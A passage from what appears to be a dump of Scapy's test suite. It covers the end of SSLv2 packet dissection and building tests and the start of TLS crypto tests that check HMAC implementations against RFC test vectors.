b'\\x83\\xd2\\x04\\x00\\x01\\x00\\x02\\x03\\xa2\\x00\\x15\\x00\\x100\\x82\\x03\\x9e0\\x82\\x02\\x86\\xa0\\x03\\x02\\x01\\x02\\x02\\t\\x00\\xfe\\x04W\\r\\xc7\\'\\xe9\\xf60\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x000T1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02MN1\\x140\\x12\\x06\\x03U\\x04\\x07\\x0c\\x0bUlaanbaatar1\\x170\\x15\\x06\\x03U\\x04\\x0b\\x0c\\x0eScapy Test PKI1\\x160\\x14\\x06\\x03U\\x04\\x03\\x0c\\rScapy Test CA0\\x1e\\x17\\r160916102811Z\\x17\\r260915102811Z0X1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02MN1\\x140\\x12\\x06\\x03U\\x04\\x07\\x0c\\x0bUlaanbaatar1\\x170\\x15\\x06\\x03U\\x04\\x0b\\x0c\\x0eScapy Test PKI1\\x1a0\\x18\\x06\\x03U\\x04\\x03\\x0c\\x11Scapy Test Server0\\x82\\x01\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\xcc\\xf1\\xf1\\x9b`-`\\xae\\xf2\\x98\\r\\')\\xd9\\xc0\\tYL\\x0fJ0\\xa8R\\xdf\\xe5\\xb1!\\x9fO\\xc3=V\\x93\\xdd_\\xc6\\xf7\\xb3\\xf6U\\x8b\\xe7\\x92\\xe2\\xde\\xf2\\x85I\\xb4\\xa1,\\xf4\\xfdv\\xa8g\\xca\\x04 `\\x11\\x18\\xa6\\xf2\\xa9\\xb6\\xa6\\x1d\\xd9\\xaa\\xe5\\xd9\\xdb\\xaf\\xe6\\xafUW\\x9f\\xffR\\x89e\\xe6\\x80b\\x80!\\x94\\xbc\\xcf\\x81\\x1b\\xcbg\\xc2\\x9d\\xb5\\x05w\\x04\\xa6\\xc7\\x88\\x18\\x80xh\\x956\\xde\\x97\\x1b\\xb6a\\x87B\\x1au\\x98E\\x82\\xeb>2\\x11\\xc8\\x9b\\x86B9\\x8dM\\x12\\xb7X\\x1b\\x19\\xf3\\x9d+\\xa1\\x98\\x82\\xca\\xd7;$\\xfb\\t9\\xb0\\xbc\\xc2\\x95\\xcf\\x82)u\\x16)?B \\x17+M@\\x8cVl\\xad\\xba\\x0f4\\x85\\xb1\\x7f@yqx\\xb7\\xa5\\x04\\xbb\\x94\\xf7\\xb5A\\x95\\xee|\\xeb\\x8d\\x0cyhY\\xef\\xcb\\xb3\\xfa>x\\x1e\\xeegLz\\xdd\\xe0\\x99\\xef\\xda\\xe7\\xef\\xb2\\t]\\xbe\\x80 !\\x05\\x83,D\\xdb]*v)\\xa5\\xb0#\\x88t\\x07T\"\\xd6)z\\x92\\xf5o-\\x9e\\xe7\\xf8&+\\x9cXe\\x02\\x03\\x01\\x00\\x01\\xa3o0m0\\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x0b\\x06\\x03U\\x1d\\x0f\\x04\\x04\\x03\\x02\\x05\\xe00\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xa1+ p\\xd2k\\x80\\xe5e\\xbc\\xeb\\x03\\x0f\\x88\\x9ft\\xad\\xdd\\xf6\\x130\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14fS\\x94\\xf4\\x15\\xd1\\xbdgh\\xb0Q725\\xe1\\xa4\\xaa\\xde\\x07|0\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x010\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00\\x81\\x88\\x92sk\\x93\\xe7\\x95\\xd6\\xddA\\xee\\x8e\\x1e\\xbd\\xa3HX\\xa7A5?{}\\xd07\\x98\\x0e\\xb8,\\x94w\\xc8Q6@\\xadY\\t(\\xc8V\\xd6\\xea[\\xac\\xb4\\xd8?h\\xb7f\\xca\\xe1V7\\xa9\\x00e\\xeaQ\\xc9\\xec\\xb2iI]\\xf9\\xe3\\xc0\\xedaT\\xc9\\x12\\x9f\\xc6\\xb0\\nsU\\xe8U5`\\xef\\x1c6\\xf0\\xda\\xd1\\x90wV\\x04\\xb8\\xab8\\xee\\xf7\\t\\xc5\\xa5\\x98\\x90#\\xea\\x1f\\xdb\\x15\\x7f2(\\x81\\xab\\x9b\\x85\\x02K\\x95\\xe77Q{\\x1bH.\\xfb>R\\xa3\\r\\xb4F\\xa9\\x92:\\x1c\\x1f\\xd7\\n\\x1eXJ\\xfa.Q\\x8f)\\xc6\\x1e\\xb8\\x0e1\\x0es\\xf1\\'\\x88\\x17\\xca\\xc8i\\x0c\\xfa\\x83\\xcd\\xb3y\\x0e\\x14\\xb0\\xb8\\x9b/:-\\t\\xe3\\xfc\\x06\\xf0:n\\xfd6;+\\x1a\\t*\\xe8\\xab_\\x8c@\\xe4\\x81\\xb2\\xbc\\xf7\\x83g\\x11nN\\x93\\xea\"\\xaf\\xff\\xa3\\x9awWv\\xd0\\x0b8\\xac\\xf8\\x8a\\x945\\x8e\\xd7\\xd4a\\xcc\\x01\\xff$\\xb4\\x8fa#\\xba\\x88\\xd7Y\\xe4\\xe9\\xba*N\\xb5\\x15\\x0f\\x9c\\xd0\\xea\\x06\\x91\\xd9\\xde\\xab\\x07\\x00\\xc0\\x05\\x00\\x80\\x03\\x00\\x80\\x01\\x00\\x80\\x06\\x00@\\x04\\x00\\x80\\x02\\x00\\x80\\x03\\xea\\xd5\\x88T&\\xe7\\\\\\xc9wM\\x05\\x1fo\\xbf\\xec'\nmk = b'\\x81\\x12\\x02\\x07\\x00\\xc0\\x00\\x00\\x01\\x00\\x00\\x08(\\xc98#b\\xc1\\x94\\x9e\\xf1|\\xd3\\x98/\\x84\\xa6\\xfb\\x1e}b7\\xf1\\xfa9\\xc3\\xb4A\\xe4\\xb7\\x97\\xcd\\x0c\\xd4\\x81\\x82\\xee\\x8b\\x80f]_\\xbc\\xe5\\xeb\\xe4}b\\x82 \\xa1S\\xd5\\xbe\\xb3\\xf7\\xbb\\x1c]zm\\xe6\\xc5\\x95\\xe3Y\\x9d\\x84b\\xf2\\x89\\x08i\\xf9\"\\x8d\\xf7\\xb9\\xe3\\xb5\\xcb\\x90\\xc2V\\xcel\\x14\\xb0\\xd4-\\xb3\\xd3\\xfe\\x83\\x8a(\\x025\\xd0Y\\x9b4M\\xde\\xc6\\x99{H\\x89u.\\xfa\\x17\\x13|\\xd39\\xf6sc\\xaat\\x9fy\\xf69s9\\xbfM\\xdc\\xcdT\\x8d~U\"\\xdd\\xce\\xab\\xfa\\x0e\\xa9\\x90$s&\\x0c8\\xe4\\x13b\\x15\\xc7\\xc2\\r#\\xc96\\x04{\\x14\\xd0\\x19\\xef\\x13ql\\x07\\xbf\\'\\xfb\\xdc\\x14t\\xf6I\\xe6\\x0b\\xe7\\xf2\\xd6e\\'%2H\\x81\\x16\\x0bT;0\\x95G%E\\xc559p\\x85S\\x07\\xbf\\x03\\xb0^\\x06\\xf0\\xdcL\\xd4\\xf2\\x9b\\xf7\\xc6T\\xdb%MS\\x8ch\\xb5\\x91H\\xffF\\xf0\\xafCw\\x1a:7\\x1f\\xf8\\x05\\x944\\xc1p\\xb6\\x8e\\x12.#,a\\xd4s\\xc7\\x9f\\xe5\\xbf\\xcb\\xee\\x1aS\\xa71\\x15\\xf5pE'\nsv = b'\\x00(\\x07q\\x8c\\x08\\xdb\\xa8\\xaa\\x8d\\x87\\x0b\\xe8\\x01^\\xed\\x87\\x8e\\xb2\\xc0\\xa9\\x84\\x11v)~\\xf8\\xd9,\\xea\\xe2\\x05\\x86\\x1d\\x01n\\xe1\\xe6\\xccE[\\xcej'\nt = SSLv2(ch)\nt.show2()\nchallenge = t.msg[0].challenge\nt = SSLv2(sh, tls_session=t.tls_session.mirror())\nt.show2()\nt.tls_session.server_rsa_key = rsa_key\nt = SSLv2(mk, tls_session=t.tls_session.mirror())\nt.show2()\nt.show2()\nt = SSLv2(sv, tls_session=t.tls_session.mirror())\nt.show2()\nt.show2()\nassert t.padlen == 7\nassert t.mac == b'\\xe7\\xe4\\x08\\x0e\\x86\\xc4\\x93\\t\\x80l/\\x80\\xdaQ\\xa0z'\nassert t.tls_session.rcs.seq_num == 2\nassert t.tls_session.wcs.seq_num == 2\nt.msg[0].challenge == challenge\n\n= Check TLS-related scapy internals - Checking tls_session freeze during show2()\nl = len(t.tls_session.handshake_messages)\nt.show2()\nl == len(t.tls_session.handshake_messages)\n\n= Check TLS-related scapy internals - Checking SSLv2 cast from TLS class\nt = TLS(ch)\nassert isinstance(t, SSLv2)\nt.msg[0].challenge == challenge\n\n\n###############################################################################\n######################### Building SSLv2 packets ##############################\n###############################################################################\n\n+ Build SSLv2 packets\n\n= Building SSLv2 packets - Various default messages\nraw(SSLv2())\nraw(SSLv2Error())\nraw(SSLv2ClientHello())\nraw(SSLv2ServerHello())\nraw(SSLv2ClientMasterKey())\nraw(SSLv2ServerVerify())\nraw(SSLv2ClientFinished())\nraw(SSLv2RequestCertificate())\nraw(SSLv2ClientCertificate())\nraw(SSLv2ServerFinished())\n\n= Building SSLv2 packets - Error within clear record\nt = SSLv2(msg=SSLv2Error(code='no_cipher'))\nraw(t) == b'\\x80\\x03\\x00\\x00\\x01'\n\n= Building SSLv2 packets - ClientHello with automatic length computation\nch_pkt = SSLv2ClientHello()\nch_pkt.msgtype = 'client_hello'\nch_pkt.version = 0x0002\nch_pkt.ciphers = [SSL_CK_DES_192_EDE3_CBC_WITH_MD5, SSL_CK_IDEA_128_CBC_WITH_MD5, SSL_CK_RC2_128_CBC_WITH_MD5, SSL_CK_RC4_128_WITH_MD5, SSL_CK_DES_64_CBC_WITH_MD5, SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5, SSL_CK_RC4_128_EXPORT40_WITH_MD5]\nch_pkt.challenge = b'!2bc\\x97^\\xa3\\r9\\x14*\\xe4\\xd6\\xd4\\n\\x1e'\nt = SSLv2(msg=ch_pkt)\nraw(t) == ch\n\n= Building SSLv2 packets - ClientMasterKey context linking\nmk = SSLv2ClientMasterKey(cipher='SSL_CK_DES_192_EDE3_CBC_WITH_MD5', clearkey=b'\\xff'*19, encryptedkey=b'\\0'*256, decryptedkey=b'\\xaa'*5, keyarg=b'\\x01'*8)\nt = SSLv2(msg=mk)\nt.tls_session.sslv2_connection_id = b'\\xba'*16\nt.tls_session.sslv2_challenge = b'\\x42'*16\nt.raw_stateful()\ns = t.tls_session\nassert s.master_secret == b'\\xff'*19 + b'\\xaa'*5\nassert isinstance(s.rcs.ciphersuite, SSL_CK_DES_192_EDE3_CBC_WITH_MD5)\nassert isinstance(s.wcs.ciphersuite, SSL_CK_DES_192_EDE3_CBC_WITH_MD5)\ns.rcs.cipher.iv == b'\\x01'*8\ns.wcs.cipher.iv == b'\\x01'*8\n\n= Dissect invalid payload\np = SSLv2()\nwith no_debug_dissector():\n    p.do_dissect_payload(b'\\x00')\n    assert raw(p.payload) == b'\\x00'\n\n###############################################################################\n############################ Automaton behaviour ##############################\n###############################################################################\n\n# see scapy/layers/tls/clientserver.uts\n\n"
  },
  {
    "path": "test/scapy/layers/tls/tls.uts",
    "content": "% Tests for TLS module\n#\n# Try me with :\n# bash test/run_tests -t test/tls.uts -F\n\n~ crypto\n\n###############################################################################\n################################### Crypto ####################################\n###############################################################################\n\n###############################################################################\n### HMAC                                                                    ###\n###############################################################################\n\n+ Test HMACs\n\n= Crypto - Hmac_MD5 instantiation, parameter check\nfrom scapy.layers.tls.crypto.h_mac import Hmac_MD5\na = Hmac_MD5(\"somekey\")\na.key_len == 16 and a.hmac_len == 16\n\n= Crypto - Hmac_MD5 behavior on test vectors from RFC 2202 (+ errata)\na = Hmac_MD5\nt1 = a(b'\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b').digest(\"Hi There\") == b'\\x92\\x94\\x72\\x7a\\x36\\x38\\xbb\\x1c\\x13\\xf4\\x8e\\xf8\\x15\\x8b\\xfc\\x9d'\nt2 = a('Jefe').digest('what do ya want for nothing?') == b'\\x75\\x0c\\x78\\x3e\\x6a\\xb0\\xb5\\x03\\xea\\xa8\\x6e\\x31\\x0a\\x5d\\xb7\\x38'\nt3 = a(b'\\xaa'*16).digest(b'\\xdd'*50) == b'\\x56\\xbe\\x34\\x52\\x1d\\x14\\x4c\\x88\\xdb\\xb8\\xc7\\x33\\xf0\\xe8\\xb3\\xf6'\nt4 = a(b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19').digest(b'\\xcd'*50) == b'\\x69\\x7e\\xaf\\x0a\\xca\\x3a\\x3a\\xea\\x3a\\x75\\x16\\x47\\x46\\xff\\xaa\\x79'\nt5 = a(b'\\x0c'*16).digest(\"Test With Truncation\") == b'\\x56\\x46\\x1e\\xf2\\x34\\x2e\\xdc\\x00\\xf9\\xba\\xb9\\x95\\x69\\x0e\\xfd\\x4c'\nt6 = a(b'\\xaa'*80).digest(\"Test Using Larger Than Block-Size Key - Hash Key First\") == b'\\x6b\\x1a\\xb7\\xfe\\x4b\\xd7\\xbf\\x8f\\x0b\\x62\\xe6\\xce\\x61\\xb9\\xd0\\xcd'\nt7 = a(b'\\xaa'*80).digest(\"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data\") == b'\\x6f\\x63\\x0f\\xad\\x67\\xcd\\xa0\\xee\\x1f\\xb1\\xf5\\x62\\xdb\\x3a\\xa5\\x3e'\nt1 and t2 and t3 and t4 and t5 and t6 and t7\n\n\n= Crypto - Hmac_SHA instantiation, parameter check\nfrom scapy.layers.tls.crypto.h_mac import Hmac_SHA\na = Hmac_SHA(\"somekey\")\na.key_len == 20 and a.hmac_len == 20\n\n= Crypto - Hmac_SHA behavior on test vectors from RFC 2202 (+ errata)\na = Hmac_SHA\nt1 = a(b'\\x0b'*20).digest(\"Hi There\") == b'\\xb6\\x17\\x31\\x86\\x55\\x05\\x72\\x64\\xe2\\x8b\\xc0\\xb6\\xfb\\x37\\x8c\\x8e\\xf1\\x46\\xbe\\x00'\nt2 = a('Jefe').digest(\"what do ya want for nothing?\") == b'\\xef\\xfc\\xdf\\x6a\\xe5\\xeb\\x2f\\xa2\\xd2\\x74\\x16\\xd5\\xf1\\x84\\xdf\\x9c\\x25\\x9a\\x7c\\x79'\nt3 = a(b'\\xaa'*20).digest(b'\\xdd'*50) == b'\\x12\\x5d\\x73\\x42\\xb9\\xac\\x11\\xcd\\x91\\xa3\\x9a\\xf4\\x8a\\xa1\\x7b\\x4f\\x63\\xf1\\x75\\xd3'\nt4 = a(b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19').digest(b'\\xcd'*50) == b'\\x4c\\x90\\x07\\xf4\\x02\\x62\\x50\\xc6\\xbc\\x84\\x14\\xf9\\xbf\\x50\\xc8\\x6c\\x2d\\x72\\x35\\xda'\nt5 = a(b'\\x0c'*20).digest(\"Test With Truncation\") == b'\\x4c\\x1a\\x03\\x42\\x4b\\x55\\xe0\\x7f\\xe7\\xf2\\x7b\\xe1\\xd5\\x8b\\xb9\\x32\\x4a\\x9a\\x5a\\x04'\nt6 = a(b'\\xaa'*80).digest(\"Test Using Larger Than Block-Size Key - Hash Key First\") == b'\\xaa\\x4a\\xe5\\xe1\\x52\\x72\\xd0\\x0e\\x95\\x70\\x56\\x37\\xce\\x8a\\x3b\\x55\\xed\\x40\\x21\\x12'\nt7 = a(b'\\xaa'*80).digest(\"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data\") == b'\\xe8\\xe9\\x9d\\x0f\\x45\\x23\\x7d\\x78\\x6d\\x6b\\xba\\xa7\\x96\\x5c\\x78\\x08\\xbb\\xff\\x1a\\x91'\nt1 and t2 and t3 and t4 and t5 and t6 and t7\n\n\n= Crypto - Hmac_SHA2 behavior on test vectors from RFC 4231\n\nclass _hmac_test_case_1:\n    Key          = (b'\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b'+\n                    b'\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b')\n    Data         =  b'\\x48\\x69\\x20\\x54\\x68\\x65\\x72\\x65'\n    HMAC_SHA_224 = (b'\\x89\\x6f\\xb1\\x12\\x8a\\xbb\\xdf\\x19\\x68\\x32\\x10\\x7c\\xd4'+\n                    b'\\x9d\\xf3\\x3f\\x47\\xb4\\xb1\\x16\\x99\\x12\\xba\\x4f\\x53\\x68'+\n                    b'\\x4b\\x22')\n    HMAC_SHA_256 = (b'\\xb0\\x34\\x4c\\x61\\xd8\\xdb\\x38\\x53\\x5c\\xa8\\xaf\\xce\\xaf'+\n                    b'\\x0b\\xf1\\x2b\\x88\\x1d\\xc2\\x00\\xc9\\x83\\x3d\\xa7\\x26\\xe9'+\n                    b'\\x37\\x6c\\x2e\\x32\\xcf\\xf7')\n    HMAC_SHA_384 = (b'\\xaf\\xd0\\x39\\x44\\xd8\\x48\\x95\\x62\\x6b\\x08\\x25\\xf4\\xab'+\n                    b'\\x46\\x90\\x7f\\x15\\xf9\\xda\\xdb\\xe4\\x10\\x1e\\xc6\\x82\\xaa'+\n                    b'\\x03\\x4c\\x7c\\xeb\\xc5\\x9c\\xfa\\xea\\x9e\\xa9\\x07\\x6e\\xde'+\n                    b'\\x7f\\x4a\\xf1\\x52\\xe8\\xb2\\xfa\\x9c\\xb6')\n    HMAC_SHA_512 = (b'\\x87\\xaa\\x7c\\xde\\xa5\\xef\\x61\\x9d\\x4f\\xf0\\xb4\\x24\\x1a'+\n                    b'\\x1d\\x6c\\xb0\\x23\\x79\\xf4\\xe2\\xce\\x4e\\xc2\\x78\\x7a\\xd0'+\n                    b'\\xb3\\x05\\x45\\xe1\\x7c\\xde\\xda\\xa8\\x33\\xb7\\xd6\\xb8\\xa7'+\n                    b'\\x02\\x03\\x8b\\x27\\x4e\\xae\\xa3\\xf4\\xe4\\xbe\\x9d\\x91\\x4e'+\n                    b'\\xeb\\x61\\xf1\\x70\\x2e\\x69\\x6c\\x20\\x3a\\x12\\x68\\x54')\n\nclass _hmac_test_case_2:\n    Key          = b'\\x4a\\x65\\x66\\x65'\n    Data         = (b'\\x77\\x68\\x61\\x74\\x20\\x64\\x6f\\x20\\x79\\x61\\x20\\x77\\x61'+\n                    b'\\x6e\\x74\\x20\\x66\\x6f\\x72\\x20\\x6e\\x6f\\x74\\x68\\x69\\x6e'+\n                    b'\\x67\\x3f')\n    HMAC_SHA_224 = (b'\\xa3\\x0e\\x01\\x09\\x8b\\xc6\\xdb\\xbf\\x45\\x69\\x0f\\x3a\\x7e'+\n                    b'\\x9e\\x6d\\x0f\\x8b\\xbe\\xa2\\xa3\\x9e\\x61\\x48\\x00\\x8f\\xd0'+\n                    b'\\x5e\\x44')\n    HMAC_SHA_256 = (b'\\x5b\\xdc\\xc1\\x46\\xbf\\x60\\x75\\x4e\\x6a\\x04\\x24\\x26\\x08'+\n                    b'\\x95\\x75\\xc7\\x5a\\x00\\x3f\\x08\\x9d\\x27\\x39\\x83\\x9d\\xec'+\n                    b'\\x58\\xb9\\x64\\xec\\x38\\x43')\n    HMAC_SHA_384 = (b'\\xaf\\x45\\xd2\\xe3\\x76\\x48\\x40\\x31\\x61\\x7f\\x78\\xd2\\xb5'+\n                    b'\\x8a\\x6b\\x1b\\x9c\\x7e\\xf4\\x64\\xf5\\xa0\\x1b\\x47\\xe4\\x2e'+\n                    b'\\xc3\\x73\\x63\\x22\\x44\\x5e\\x8e\\x22\\x40\\xca\\x5e\\x69\\xe2'+\n                    b'\\xc7\\x8b\\x32\\x39\\xec\\xfa\\xb2\\x16\\x49')\n    HMAC_SHA_512 = (b'\\x16\\x4b\\x7a\\x7b\\xfc\\xf8\\x19\\xe2\\xe3\\x95\\xfb\\xe7\\x3b'+\n                    b'\\x56\\xe0\\xa3\\x87\\xbd\\x64\\x22\\x2e\\x83\\x1f\\xd6\\x10\\x27'+\n                    b'\\x0c\\xd7\\xea\\x25\\x05\\x54\\x97\\x58\\xbf\\x75\\xc0\\x5a\\x99'+\n                    b'\\x4a\\x6d\\x03\\x4f\\x65\\xf8\\xf0\\xe6\\xfd\\xca\\xea\\xb1\\xa3'+\n                    b'\\x4d\\x4a\\x6b\\x4b\\x63\\x6e\\x07\\x0a\\x38\\xbc\\xe7\\x37')\n\nclass _hmac_test_case_3:\n    Key          = (b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa')\n    Data         = (b'\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd'+\n                    b'\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd'+\n                    b'\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd'+\n                    b'\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd')\n    HMAC_SHA_224 = (b'\\x7f\\xb3\\xcb\\x35\\x88\\xc6\\xc1\\xf6\\xff\\xa9\\x69\\x4d\\x7d'+\n                    b'\\x6a\\xd2\\x64\\x93\\x65\\xb0\\xc1\\xf6\\x5d\\x69\\xd1\\xec\\x83'+\n                    b'\\x33\\xea')\n    HMAC_SHA_256 = (b'\\x77\\x3e\\xa9\\x1e\\x36\\x80\\x0e\\x46\\x85\\x4d\\xb8\\xeb\\xd0'+\n                    b'\\x91\\x81\\xa7\\x29\\x59\\x09\\x8b\\x3e\\xf8\\xc1\\x22\\xd9\\x63'+\n                    b'\\x55\\x14\\xce\\xd5\\x65\\xfe')\n    HMAC_SHA_384 = (b'\\x88\\x06\\x26\\x08\\xd3\\xe6\\xad\\x8a\\x0a\\xa2\\xac\\xe0\\x14'+\n                    b'\\xc8\\xa8\\x6f\\x0a\\xa6\\x35\\xd9\\x47\\xac\\x9f\\xeb\\xe8\\x3e'+\n                    b'\\xf4\\xe5\\x59\\x66\\x14\\x4b\\x2a\\x5a\\xb3\\x9d\\xc1\\x38\\x14'+\n                    b'\\xb9\\x4e\\x3a\\xb6\\xe1\\x01\\xa3\\x4f\\x27')\n    HMAC_SHA_512 = (b'\\xfa\\x73\\xb0\\x08\\x9d\\x56\\xa2\\x84\\xef\\xb0\\xf0\\x75\\x6c'+\n                    b'\\x89\\x0b\\xe9\\xb1\\xb5\\xdb\\xdd\\x8e\\xe8\\x1a\\x36\\x55\\xf8'+\n                    b'\\x3e\\x33\\xb2\\x27\\x9d\\x39\\xbf\\x3e\\x84\\x82\\x79\\xa7\\x22'+\n                    b'\\xc8\\x06\\xb4\\x85\\xa4\\x7e\\x67\\xc8\\x07\\xb9\\x46\\xa3\\x37'+\n                    b'\\xbe\\xe8\\x94\\x26\\x74\\x27\\x88\\x59\\xe1\\x32\\x92\\xfb')\n\nclass _hmac_test_case_4:\n    Key          = (b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d'+\n                    b'\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19')\n    Data         = (b'\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd'+\n                    b'\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd'+\n                    b'\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd'+\n                    b'\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd\\xcd')\n    HMAC_SHA_224 = (b'\\x6c\\x11\\x50\\x68\\x74\\x01\\x3c\\xac\\x6a\\x2a\\xbc\\x1b\\xb3'+\n                    b'\\x82\\x62\\x7c\\xec\\x6a\\x90\\xd8\\x6e\\xfc\\x01\\x2d\\xe7\\xaf'+\n                    b'\\xec\\x5a')\n    HMAC_SHA_256 = (b'\\x82\\x55\\x8a\\x38\\x9a\\x44\\x3c\\x0e\\xa4\\xcc\\x81\\x98\\x99'+\n                    b'\\xf2\\x08\\x3a\\x85\\xf0\\xfa\\xa3\\xe5\\x78\\xf8\\x07\\x7a\\x2e'+\n                    b'\\x3f\\xf4\\x67\\x29\\x66\\x5b')\n    HMAC_SHA_384 = (b'\\x3e\\x8a\\x69\\xb7\\x78\\x3c\\x25\\x85\\x19\\x33\\xab\\x62\\x90'+\n                    b'\\xaf\\x6c\\xa7\\x7a\\x99\\x81\\x48\\x08\\x50\\x00\\x9c\\xc5\\x57'+\n                    b'\\x7c\\x6e\\x1f\\x57\\x3b\\x4e\\x68\\x01\\xdd\\x23\\xc4\\xa7\\xd6'+\n                    b'\\x79\\xcc\\xf8\\xa3\\x86\\xc6\\x74\\xcf\\xfb')\n    HMAC_SHA_512 = (b'\\xb0\\xba\\x46\\x56\\x37\\x45\\x8c\\x69\\x90\\xe5\\xa8\\xc5\\xf6'+\n                    b'\\x1d\\x4a\\xf7\\xe5\\x76\\xd9\\x7f\\xf9\\x4b\\x87\\x2d\\xe7\\x6f'+\n                    b'\\x80\\x50\\x36\\x1e\\xe3\\xdb\\xa9\\x1c\\xa5\\xc1\\x1a\\xa2\\x5e'+\n                    b'\\xb4\\xd6\\x79\\x27\\x5c\\xc5\\x78\\x80\\x63\\xa5\\xf1\\x97\\x41'+\n                    b'\\x12\\x0c\\x4f\\x2d\\xe2\\xad\\xeb\\xeb\\x10\\xa2\\x98\\xdd')\n\nclass _hmac_test_case_5:\n    Key          = (b'\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c'+\n                    b'\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c')\n    Data         = (b'\\x54\\x65\\x73\\x74\\x20\\x57\\x69\\x74\\x68\\x20\\x54\\x72\\x75'+\n                    b'\\x6e\\x63\\x61\\x74\\x69\\x6f\\x6e')\n    HMAC_SHA_224 = (b'\\x0e*\\xeah\\xa9\\x0c\\x8d7\\xc9\\x88\\xbc\\xdb\\x9f\\xcao\\xa8'+\n                    b'\\t\\x9c\\xd8W\\xc7\\xecJ\\x18\\x15\\xca\\xc5L')\n    HMAC_SHA_256 = (b'\\xa3\\xb6\\x16ts\\x10\\x0e\\xe0n\\x0cyl)UU+\\xfao|\\nj\\x8a'+\n                    b'\\xef\\x8b\\x93\\xf8`\\xaa\\xb0\\xcd \\xc5')\n    HMAC_SHA_384 = (b':\\xbf4\\xc3P;*#\\xa4n\\xfca\\x9b\\xae\\xf8\\x97\\xf4\\xc8\\xe4'+\n                    b',\\x93L\\xe5\\\\\\xcb\\xae\\x97@\\xfc\\xbc\\x1a\\xf4\\xcab&\\x9e*'+\n                    b'7\\xcd\\x88\\xba\\x92cA\\xef\\xe4\\xae\\xea')\n    HMAC_SHA_512 = (b'A_\\xadbqX\\nS\\x1dAy\\xbc\\x89\\x1d\\x87\\xa6P\\x18\\x87\\x07'+\n                    b'\\x92*O\\xbb6f:\\x1e\\xb1m\\xa0\\x08q\\x1c[P\\xdd\\xd0\\xfc#P'+\n                    b'\\x84\\xeb\\x9d3d\\xa1EO\\xb2\\xefg\\xcd\\x1d)\\xfegs\\x06\\x8e'+\n                    b'\\xa2f\\xe9k')\n\nclass _hmac_test_case_6:\n    Key          = (b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    